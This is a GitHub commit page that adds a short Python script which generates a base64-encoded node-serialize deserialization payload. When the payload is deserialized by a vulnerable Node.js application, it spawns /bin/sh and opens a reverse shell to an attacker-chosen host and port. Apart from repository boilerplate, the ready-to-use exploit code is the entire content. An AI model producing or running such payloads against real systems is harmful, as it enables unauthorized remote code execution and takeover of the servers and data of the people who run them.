Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
William Moody
committed
Mar 21, 2021
1 parent
5f87f0d
commit 12dda29
Showing
3 changed files
with
32 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
#!/usr/bin/python3 | ||
import base64 | ||
import sys | ||
|
||
if len(sys.argv) != 3: | ||
print('usage: %s lhost lport'%sys.argv[0]) | ||
sys.exit(-1) | ||
|
||
lhost = sys.argv[1] | ||
lport = sys.argv[2] | ||
|
||
payload = b'{"msg":"_$$ND_FUNC$$_function(){' | ||
payload += b'var net = require(\'net\'),cp = require(\'child_process\'),' | ||
payload += b'sh = cp.spawn(\'/bin/sh\',[]); var client= new net.Socket();' | ||
payload += b'client.connect(%s, \'%s\', function() {'%\ | ||
(lport.encode('utf-8'),lhost.encode('utf-8')) | ||
payload += b'client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);' | ||
payload += b'});return /rce/' | ||
payload += b'}()"}' | ||
|
||
print(base64.b64encode(payload).decode('utf-8')) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters